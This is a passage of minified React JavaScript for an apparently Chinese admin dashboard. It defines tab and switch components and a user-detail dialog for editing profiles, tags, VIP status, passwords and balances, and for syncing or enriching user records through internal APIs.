s.jsx(aP,{scope:n,baseId:fi(),value:m,onValueChange:g,orientation:o,dir:f,activationMode:u,children:s.jsx(ht.div,{dir:f,"data-orientation":o,...h,ref:e})})});ik.displayName=vf;var ok="TabsList",lk=b.forwardRef((t,e)=>{const{__scopeTabs:n,loop:r=!0,...a}=t,i=Zx(ok,n),o=ak(n);return s.jsx(nP,{asChild:!0,...o,orientation:i.orientation,dir:i.dir,loop:r,children:s.jsx(ht.div,{role:"tablist","aria-orientation":i.orientation,...a,ref:e})})});lk.displayName=ok;var ck="TabsTrigger",dk=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,disabled:a=!1,...i}=t,o=Zx(ck,n),c=ak(n),u=fk(o.baseId,r),h=pk(o.baseId,r),f=r===o.value;return s.jsx(rP,{asChild:!0,...c,focusable:!a,active:f,children:s.jsx(ht.button,{type:"button",role:"tab","aria-selected":f,"aria-controls":h,"data-state":f?"active":"inactive","data-disabled":a?"":void 0,disabled:a,id:u,...i,ref:e,onMouseDown:ot(t.onMouseDown,m=>{!a&&m.button===0&&m.ctrlKey===!1?o.onValueChange(r):m.preventDefault()}),onKeyDown:ot(t.onKeyDown,m=>{[" ","Enter"].includes(m.key)&&o.onValueChange(r)}),onFocus:ot(t.onFocus,()=>{const m=o.activationMode!=="manual";!f&&!a&&m&&o.onValueChange(r)})})})});dk.displayName=ck;var uk="TabsContent",hk=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,forceMount:a,children:i,...o}=t,c=Zx(uk,n),u=fk(c.baseId,r),h=pk(c.baseId,r),f=r===c.value,m=b.useRef(f);return b.useEffect(()=>{const g=requestAnimationFrame(()=>m.current=!1);return()=>cancelAnimationFrame(g)},[]),s.jsx(gd,{present:a||f,children:({present:g})=>s.jsx(ht.div,{"data-state":f?"active":"inactive","data-orientation":c.orientation,role:"tabpanel","aria-labelledby":u,hidden:!g,id:h,tabIndex:0,...o,ref:e,style:{...t.style,animationDuration:m.current?"0s":void 0},children:g&&i})})});hk.displayName=uk;function fk(t,e){return`${t}-trigger-${e}`}function pk(t,e){return`${t}-content-${e}`}var iP=ik,mk=lk,gk=dk,xk=hk;const yd=iP,Ll=b.forwardRef(({className:t,...e},n)=>s.jsx(mk,{ref:n,className:Et("inline-flex h-9 items-center justify-center rounded-lg bg-muted p-1 text-muted-foreground",t),...e}));Ll.displayName=mk.displayName;const Zt=b.forwardRef(({className:t,...e},n)=>s.jsx(gk,{ref:n,className:Et("inline-flex items-center justify-center whitespace-nowrap rounded-md px-3 py-1 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow",t),...e}));Zt.displayName=gk.displayName;const en=b.forwardRef(({className:t,...e},n)=>s.jsx(xk,{ref:n,className:Et("mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",t),...e}));en.displayName=xk.displayName;function e0(t){const e=b.useRef({value:t,previous:t});return b.useMemo(()=>(e.current.value!==t&&(e.current.previous=e.current.value,e.current.value=t),e.current.previous),[t])}function t0(t){const[e,n]=b.useState(void 0);return or(()=>{if(t){n({width:t.offsetWidth,height:t.offsetHeight});const r=new ResizeObserver(a=>{if(!Array.isArray(a)||!a.length)return;const i=a[0];let o,c;if("borderBoxSize"in i){const u=i.borderBoxSize,h=Array.isArray(u)?u[0]:u;o=h.inlineSize,c=h.blockSize}else o=t.offsetWidth,c=t.offsetHeight;n({width:o,height:c})});return r.observe(t,{box:"border-box"}),()=>r.unobserve(t)}else n(void 0)},[t]),e}var Nf="Switch",[oP]=Ei(Nf),[lP,cP]=oP(Nf),yk=b.forwardRef((t,e)=>{const{__scopeSwitch:n,name:r,checked:a,defaultChecked:i,required:o,disabled:c,value:u="on",onCheckedChange:h,form:f,...m}=t,[g,y]=b.useState(null),N=Ct(e,E=>y(E)),w=b.useRef(!1),v=g?f||!!g.closest("form"):!0,[k,C]=xo({prop:a,defaultProp:i??!1,onChange:h,caller:Nf});return s.jsxs(lP,{scope:n,checked:k,disabled:c,children:[s.jsx(ht.button,{type:"button",role:"switch","aria-checked":k,"aria-required":o,"data-state":wk(k),"data-disabled":c?"":void 0,disabled:c,value:u,...m,ref:N,onClick:ot(t.onClick,E=>{C(T=>!T),v&&(w.current=E.isPropagationStopped(),w.current||E.stopPropagation())})}),v&&s.jsx(Nk,{control:g,bubbles:!w.current,name:r,value:u,checked:k,required:o,disabled:c,form:f,style:{transform:"translateX(-100%)"}})]})});yk.displayName=Nf;var bk="SwitchThumb",vk=b.forwardRef((t,e)=>{const{__scopeSwitch:n,...r}=t,a=cP(bk,n);return s.jsx(ht.span,{"data-state":wk(a.checked),"data-disabled":a.disabled?"":void 0,...r,ref:e})});vk.displayName=bk;var dP="SwitchBubbleInput",Nk=b.forwardRef(({__scopeSwitch:t,control:e,checked:n,bubbles:r=!0,...a},i)=>{const o=b.useRef(null),c=Ct(o,i),u=e0(n),h=t0(e);return b.useEffect(()=>{const f=o.current;if(!f)return;const m=window.HTMLInputElement.prototype,y=Object.getOwnPropertyDescriptor(m,"checked").set;if(u!==n&&y){const N=new Event("click",{bubbles:r});y.call(f,n),f.dispatchEvent(N)}},[u,n,r]),s.jsx("input",{type:"checkbox","aria-hidden":!0,defaultChecked:n,...a,tabIndex:-1,ref:c,style:{...a.style,...h,position:"absolute",pointerEvents:"none",opacity:0,margin:0}})});Nk.displayName=dP;function wk(t){return t?"checked":"unchecked"}var jk=yk,uP=vk;const kt=b.forwardRef(({className:t,...e},n)=>s.jsx(jk,{className:Et("peer inline-flex h-5 w-9 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent shadow-sm transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-[#38bdac] focus-visible:ring-offset-2 focus-visible:ring-offset-[#0a1628] disabled:cursor-not-allowed disabled:opacity-50 data-[state=unchecked]:bg-gray-600 data-[state=checked]:bg-[#38bdac]",t),...e,ref:n,children:s.jsx(uP,{className:Et("pointer-events-none block h-4 w-4 rounded-full bg-white shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-4 data-[state=unchecked]:translate-x-0")})}));kt.displayName=jk.displayName;function n0({open:t,onClose:e,userId:n,onUserUpdated:r}){var Is;const[a,i]=b.useState(null),[o,c]=b.useState([]),[u,h]=b.useState([]),[f,m]=b.useState(null),[g,y]=b.useState(!1),[N,w]=b.useState(!1),[v,k]=b.useState(!1),[C,E]=b.useState("info"),[T,I]=b.useState(""),[O,L]=b.useState(""),[R,D]=b.useState([]),[z,Z]=b.useState(""),[ne,fe]=b.useState(""),[xe,$]=b.useState(""),[H,oe]=b.useState(!1),[P,q]=b.useState({isVip:!1,vipExpireDate:"",vipRole:"",vipName:"",vipProject:"",vipContact:"",vipBio:""}),[B,_]=b.useState([]),[W,le]=b.useState(!1),[J,Y]=b.useState(""),[V,re]=b.useState(""),[ue,ce]=b.useState(!1),[ye,Re]=b.useState(!1),[Le,lt]=b.useState(null),[Tt,ln]=b.useState(null),[yt,nn]=b.useState(""),[In,Mt]=b.useState(""),[Yt,rn]=b.useState(""),[Rn,pr]=b.useState(!1),[Pn,Hn]=b.useState(null),[K,Ue]=b.useState("");b.useEffect(()=>{t&&n&&(E("info"),lt(null),ln(null),Hn(null),Ue(""),fe(""),$(""),Je(),De("/api/db/vip-roles").then(pe=>{pe!=null&&pe.success&&pe.data&&_(pe.data)}).catch(()=>{}))},[t,n]);async function Je(){if(n){y(!0);try{const pe=await De(`/api/db/users?id=${encodeURIComponent(n)}`);if(pe!=null&&pe.success&&pe.user){const ge=pe.user;i(ge),I(ge.phone||""),L(ge.nickname||""),nn(ge.phone||""),Mt(ge.wechatId||""),rn(ge.openId||"");try{D(typeof ge.tags=="string"?JSON.parse(ge.tags||"[]"):[])}catch{D([])}q({isVip:!!(ge.isVip??!1),vipExpireDate:ge.vipExpireDate?String(ge.vipExpireDate).slice(0,10):"",vipRole:String(ge.vipRole??""),vipName:String(ge.vipName??""),vipProject:String(ge.vipProject??""),vipContact:String(ge.vipContact??""),vipBio:String(ge.vipBio??"")})}try{const ge=await De(`/api/admin/user/track?userId=${encodeURIComponent(n)}&limit=50`);ge!=null&&ge.success&&ge.tracks&&c(ge.tracks)}catch{c([])}try{const ge=await De(`/api/db/users/referrals?userId=${encodeURIComponent(n)}`);ge!=null&&ge.success&&ge.referrals&&h(ge.referrals)}catch{h([])}try{const ge=await De(`/api/admin/users/${encodeURIComponent(n)}/balance`);ge!=null&&ge.success&&ge.data?m(ge.data):m(null)}catch{m(null)}}catch(pe){console.error("Load user detail error:",pe)}finally{y(!1)}}}async function xt(){if(!(a!=null&&a.phone)){ie.info("用户未绑定手机号,无法同步");return}w(!0);try{const pe=await vt("/api/ckb/sync",{action:"full_sync",phone:a.phone,userId:a.id});pe!=null&&pe.success?(ie.success("同步成功"),Je()):ie.error("同步失败: "+(pe==null?void 0:pe.error))}catch(pe){console.error("Sync CKB error:",pe),ie.error("同步失败")}finally{w(!1)}}async function ct(){if(a){if(P.isVip&&!P.vipExpireDate.trim()){ie.error("开启 VIP 请填写有效到期日");return}k(!0);try{const pe={id:a.id,phone:T||void 0,nickname:O||void 0,tags:JSON.stringify(R),isVip:P.isVip,vipExpireDate:P.isVip?P.vipExpireDate:void 0,vipRole:P.vipRole||void 0,vipName:P.vipName||void 0,vipProject:P.vipProject||void 0,vipContact:P.vipContact||void 0,vipBio:P.vipBio||void 0},ge=await zt("/api/db/users",pe);ge!=null&&ge.success?(ie.success("保存成功"),Je(),r==null||r()):ie.error("保存失败: "+(ge==null?void 0:ge.error))}catch(pe){console.error("Save user error:",pe),ie.error("保存失败")}finally{k(!1)}}}const nt=()=>{z&&!R.includes(z)&&(D([...R,z]),Z(""))},gt=pe=>D(R.filter(ge=>ge!==pe));async function Rt(){if(a){if(!ne){ie.error("请输入新密码");return}if(ne!==xe){ie.error("两次密码不一致");return}if(ne.length<6){ie.error("密码至少 6 位");return}oe(!0);try{const pe=await zt("/api/db/users",{id:a.id,password:ne});pe!=null&&pe.success?(ie.success("修改成功"),fe(""),$("")):ie.error("修改失败: "+((pe==null?void 0:pe.error)||""))}catch{ie.error("修改失败")}finally{oe(!1)}}}async function gn(){if(!a)return;const pe=parseFloat(J);if(Number.isNaN(pe)||pe===0){ie.error("请输入有效金额(正数增加、负数扣减)");return}ce(!0);try{const ge=await vt(`/api/admin/users/${a.id}/balance/adjust`,{amount:pe,remark:V||void 0});ge!=null&&ge.success?(ie.success("余额已调整"),le(!1),Y(""),re(""),Je(),r==null||r()):ie.error("调整失败: "+((ge==null?void 0:ge.error)||""))}catch{ie.error("调整失败")}finally{ce(!1)}}async function mr(){if(!yt&&!Yt&&!In){ln("请至少输入手机号、微信号或 OpenID 中的一项");return}Re(!0),ln(null),lt(null);try{const pe=new URLSearchParams;yt&&pe.set("phone",yt),Yt&&pe.set("openId",Yt),In&&pe.set("wechatId",In);const ge=await De(`/api/admin/shensheshou/query?${pe}`);ge!=null&&ge.success&&ge.data?(lt(ge.data),a&&await wr(ge.data)):ln((ge==null?void 0:ge.error)||"未查询到数据,该用户可能未在神射手收录")}catch(pe){console.error("SSS query error:",pe),ln("请求失败,请检查神射手接口配置")}finally{Re(!1)}}async function wr(pe){if(a)try{await vt("/api/admin/shensheshou/enrich",{userId:a.id,phone:yt||a.phone||"",openId:Yt||a.openId||"",wechatId:In||a.wechatId||""}),Je()}catch(ge){console.error("SSS enrich error:",ge)}}async function As(){if(a){pr(!0),Hn(null);try{const pe={users:[{phone:a.phone||"",name:a.nickname||"",openId:a.openId||"",tags:R}]},ge=await vt("/api/admin/shensheshou/ingest",pe);ge!=null&&ge.success&&ge.data?Hn(ge.data):Hn({error:(ge==null?void 0:ge.error)||"推送失败"})}catch(pe){console.error("SSS ingest error:",pe),Hn({error:"请求失败"})}finally{pr(!1)}}}const Wr=pe=>{const Pt={view_chapter:Br,purchase:Og,match:Zn,login:co,register:co,share:Ss,bind_phone:mA,bind_wechat:sA,fill_profile:zc,visit_page:ml}[pe]||Ag;return s.jsx(Pt,{className:"w-4 h-4"})};return t?s.jsxs(s.Fragment,{children:[s.jsx(Dt,{open:t,onOpenChange:()=>e(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-4xl max-h-[90vh] overflow-hidden",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(co,{className:"w-5 h-5 text-[#38bdac]"}),"用户详情",(a==null?void 0:a.phone)&&s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0 ml-2",children:"已绑定手机"}),(a==null?void 0:a.isVip)&&s.jsx(We,{className:"bg-amber-500/20 text-amber-400 border-0",children:"VIP"})]})}),g?s.jsxs("div",{className:"flex items-center justify-center py-20",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):a?s.jsxs("div",{className:"flex flex-col h-[75vh]",children:[s.jsxs("div",{className:"flex items-center gap-4 p-4 bg-[#0a1628] rounded-lg mb-3",children:[s.jsx("div",{className:"w-16 h-16 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-2xl text-[#38bdac] shrink-0",children:a.avatar?s.jsx("img",{src:a.avatar,className:"w-full h-full rounded-full object-cover",alt:""}):((Is=a.nickname)==null?void 0:Is.charAt(0))||"?"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap",children:[s.jsx("h3",{className:"text-lg font-bold text-white",children:a.nickname}),a.isAdmin&&s.jsx(We,{className:"bg-purple-500/20 text-purple-400 border-0",children:"管理员"}),a.hasFullBook&&s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0",children:"全书已购"}),a.vipRole&&s.jsx(We,{className:"bg-amber-500/20 text-amber-400 border-0",children:a.vipRole})]}),s.jsxs("p",{className:"text-gray-400 text-sm mt-1",children:[a.phone?`📱 ${a.phone}`:"未绑定手机",a.wechatId&&` · 💬 ${a.wechatId}`,a.mbti&&` · ${a.mbti}`]}),s.jsxs("div",{className:"flex items-center gap-4 mt-1",children:[s.jsxs("p",{className:"text-gray-600 text-xs",children:["ID: ",a.id.slice(0,16),"…"]}),a.referralCode&&s.jsxs("p",{className:"text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"推广码:"}),s.jsx("code",{className:"text-[#38bdac] bg-[#38bdac]/10 px-1.5 py-0.5 rounded",children:a.referralCode})]})]})]}),s.jsxs("div",{className:"text-right shrink-0",children:[s.jsxs("p",{className:"text-[#38bdac] font-bold text-lg",children:["¥",(a.earnings||0).toFixed(2)]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"累计收益"})]})]}),s.jsxs(yd,{value:C,onValueChange:E,className:"flex-1 flex flex-col overflow-hidden",children:[s.jsxs(Ll,{className:"bg-[#0a1628] border border-gray-700/50 p-1 mb-3 flex-wrap h-auto gap-1",children:[s.jsx(Zt,{value:"info",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"基础信息"}),s.jsx(Zt,{value:"tags",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"标签体系"}),s.jsxs(Zt,{value:"journey",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:[s.jsx(ml,{className:"w-3 h-3 mr-1"}),"用户旅程"]}),s.jsx(Zt,{value:"relations",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"关系链路"}),s.jsxs(Zt,{value:"shensheshou",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:[s.jsx(li,{className:"w-3 h-3 mr-1"}),"用户资料完善"]})]}),s.jsxs(en,{value:"info",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入手机号",value:T,onChange:pe=>I(pe.target.value),disabled:!!(a!=null&&a.phone)}),(a==null?void 0:a.phone)&&s.jsx("p",{className:"text-xs text-gray-500",children:"编辑时手机号不可修改"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入昵称",value:O,onChange:pe=>L(pe.target.value)})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3 text-sm",children:[a.openId&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"微信 OpenID"}),s.jsx("p",{className:"text-gray-300 font-mono text-xs break-all",children:a.openId})]}),a.region&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg flex items-center gap-2",children:[s.jsx(tj,{className:"w-4 h-4 text-gray-500"}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs",children:"地区"}),s.jsx("p",{className:"text-white",children:a.region})]})]}),a.industry&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"行业"}),s.jsx("p",{className:"text-white",children:a.industry})]}),a.position&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"职位"}),s.jsx("p",{className:"text-white",children:a.position})]})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"推荐人数"}),s.jsx("p",{className:"text-2xl font-bold text-white",children:a.referralCount??0})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"待提现"}),s.jsxs("p",{className:"text-2xl font-bold text-yellow-400",children:["¥",(a.pendingEarnings??0).toFixed(2)]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg flex flex-col justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"当前余额"}),s.jsxs("p",{className:"text-2xl font-bold text-[#38bdac]",children:["¥",((f==null?void 0:f.balance)??0).toFixed(2)]})]}),s.jsx(te,{size:"sm",variant:"outline",className:"mt-2 border-[#38bdac]/50 text-[#38bdac] hover:bg-[#38bdac]/10 text-xs",onClick:()=>{Y(""),re(""),le(!0)},children:"调整余额"})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"创建时间"}),s.jsx("p",{className:"text-sm text-white",children:a.createdAt?new Date(a.createdAt).toLocaleDateString():"-"})]})]}),s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(ej,{className:"w-4 h-4 text-yellow-400"}),s.jsx("span",{className:"text-white font-medium",children:"修改密码"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(se,{type:"password",className:"bg-[#162840] border-gray-700 text-white",placeholder:"新密码(至少6位)",value:ne,onChange:pe=>fe(pe.target.value)}),s.jsx(se,{type:"password",className:"bg-[#162840] border-gray-700 text-white",placeholder:"确认密码",value:xe,onChange:pe=>$(pe.target.value)}),s.jsx(te,{size:"sm",onClick:Rt,disabled:H||!ne||!xe,className:"bg-yellow-500/20 hover:bg-yellow-500/30 text-yellow-400 border border-yellow-500/40",children:H?"保存中...":"确认修改"})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-amber-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yl,{className:"w-4 h-4 text-amber-400"}),s.jsx("span",{className:"text-white font-medium",children:"设成超级个体"})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-400 text-sm",children:"VIP 会员"}),s.jsx(kt,{checked:P.isVip,onCheckedChange:pe=>q(ge=>({...ge,isVip:pe}))})]}),P.isVip&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"到期日"}),s.jsx(se,{type:"date",className:"bg-[#162840] border-gray-700 text-white text-sm",value:P.vipExpireDate,onChange:pe=>q(ge=>({...ge,vipExpireDate:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"角色"}),s.jsxs("select",{className:"w-full bg-[#162840] border border-gray-700 text-white rounded px-2 py-1.5 text-sm",value:P.vipRole,onChange:pe=>q(ge=>({...ge,vipRole:pe.target.value})),children:[s.jsx("option",{value:"",children:"请选择"}),B.map(pe=>s.jsx("option",{value:pe.name,children:pe.name},pe.id))]})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"展示名"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"创业老板排行展示名",value:P.vipName,onChange:pe=>q(ge=>({...ge,vipName:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"项目"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"如:某某科技",value:P.vipProject,onChange:pe=>q(ge=>({...ge,vipProject:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"联系方式"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"微信/手机等",value:P.vipContact,onChange:pe=>q(ge=>({...ge,vipContact:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"简介"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"简短介绍",value:P.vipBio,onChange:pe=>q(ge=>({...ge,vipBio:pe.target.value}))})]})]})]})]}),a.isVip&&s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-amber-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yl,{className:"w-4 h-4 text-amber-400"}),s.jsx("span",{className:"text-white font-medium",children:"VIP 信息"}),s.jsx(We,{className:"bg-amber-500/20 text-amber-400 border-0 text-xs",children:a.vipRole||"VIP"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3 text-sm",children:[a.vipName&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"展示名:"}),s.jsx("span",{className:"text-white",children:a.vipName})]}),a.vipProject&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"项目:"}),s.jsx("span",{className:"text-white",children:a.vipProject})]}),a.vipContact&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"联系方式:"}),s.jsx("span",{className:"text-white",children:a.vipContact})]}),a.vipExpireDate&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"到期时间:"}),s.jsx("span",{className:"text-white",children:new Date(a.vipExpireDate).toLocaleDateString()})]})]}),a.vipBio&&s.jsx("p",{className:"text-gray-400 text-sm mt-2",children:a.vipBio})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-purple-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yi,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"微信归属"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"该用户归属在哪个微信号下"})]}),s.jsxs("div",{className:"flex gap-2 items-center",children:[s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white flex-1",placeholder:"输入归属微信号(如 wxid_xxxx)",value:K,onChange:pe=>Ue(pe.target.value)}),s.jsxs(te,{size:"sm",onClick:async()=>{if(!(!K||!a))try{await zt("/api/db/users",{id:a.id,wechatId:K}),ie.success("已保存微信归属"),Je()}catch{ie.error("保存失败")}},className:"bg-purple-500/20 hover:bg-purple-500/30 text-purple-400 border border-purple-500/30 shrink-0",children:[s.jsx(bn,{className:"w-4 h-4 mr-1"})," 保存"]})]}),a.wechatId&&s.jsxs("p",{className:"text-gray-500 text-xs mt-2",children:["当前归属:",s.jsx("span",{className:"text-purple-400",children:a.wechatId})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Ss,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"存客宝同步"})]}),s.jsx(te,{size:"sm",onClick:xt,disabled:N||!a.phone,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:N?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-1 animate-spin"})," 同步中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-1"})," 同步数据"]})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4 text-sm",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"同步状态:"}),a.ckbSyncedAt?s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0 ml-1",children:"已同步"}):s.jsx(We,{className:"bg-gray-500/20 text-gray-400 border-0 ml-1",children:"未同步"})]}),s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"最后同步:"}),s.jsx("span",{className:"text-gray-300 ml-1",children:a.ckbSyncedAt?new Date(a.ckbSyncedAt).toLocaleString():"-"})]})]})]})]}),s.jsxs(en,{value:"tags",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(zc,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"用户标签"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"基于《一场 Soul 的创业实验》维度打标"})]}),s.jsxs("div",{className:"mb-3 p-2.5 bg-[#38bdac]/5 border border-[#38bdac]/20 rounded-lg flex items-center gap-2 text-xs text-gray-400",children:[s.jsx(Mg,{className:"w-3.5 h-3.5 text-[#38bdac] shrink-0"}),"命中的标签自动高亮 · 系统根据行为轨迹和填写资料自动打标 · 手动点击补充或取消"]}),s.jsx("div",{className:"mb-4 space-y-3",children:[{category:"身份类型",tags:["创业者","打工人","自由职业","学生","投资人","合伙人"]},{category:"行业背景",tags:["电商","内容","传统行业","科技/AI","金融","教育","餐饮"]},{category:"痛点标签",tags:["找资源","找方向","找合伙人","想赚钱","想学习","找情感出口"]},{category:"付费意愿",tags:["高意向","已付费","观望中","薅羊毛"]},{category:"MBTI",tags:["ENTJ","INTJ","ENFP","INFP","ENTP","INTP","ESTJ","ISFJ"]}].map(pe=>s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1.5",children:pe.category}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:pe.tags.map(ge=>s.jsxs("button",{type:"button",onClick:()=>{R.includes(ge)?gt(ge):D([...R,ge])},className:`px-2 py-0.5 rounded text-xs border transition-all ${R.includes(ge)?"bg-[#38bdac]/20 border-[#38bdac]/50 text-[#38bdac]":"bg-transparent border-gray-700 text-gray-500 hover:border-gray-500 hover:text-gray-300"}`,children:[R.includes(ge)?"✓ ":"",ge]},ge))})]},pe.category))}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-3",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-2",children:"已选标签"}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-3 min-h-[32px]",children:[R.map((pe,ge)=>s.jsxs(We,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0 pr-1",children:[pe,s.jsx("button",{type:"button",onClick:()=>gt(pe),className:"ml-1 hover:text-red-400",children:s.jsx(ir,{className:"w-3 h-3"})})]},ge)),R.length===0&&s.jsx("span",{className:"text-gray-600 text-sm",children:"暂未选择标签"})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white flex-1",placeholder:"自定义标签(回车添加)",value:z,onChange:pe=>Z(pe.target.value),onKeyDown:pe=>pe.key==="Enter"&&nt()}),s.jsx(te,{onClick:nt,className:"bg-[#38bdac] hover:bg-[#2da396]",children:"添加"})]})]})]}),(()=>{const pe=a.tags||a.ckbTags||"";let ge=[];try{const On=typeof pe=="string"?JSON.parse(pe||"[]"):[];ge=Array.isArray(On)?On:typeof pe=="string"?pe.split(","):[]}catch{ge=typeof pe=="string"?pe.split(","):[]}const Pt=ge.map(On=>String(On).trim()).filter(Boolean);return Pt.length===0?null:s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[s.jsx(zc,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"存客宝标签"})]}),s.jsx("div",{className:"flex flex-wrap gap-2",children:Pt.map((On,Qs)=>s.jsx(We,{className:"bg-purple-500/20 text-purple-400 border-0",children:On},Qs))})]})})()]}),s.jsxs(en,{value:"journey",className:"flex-1 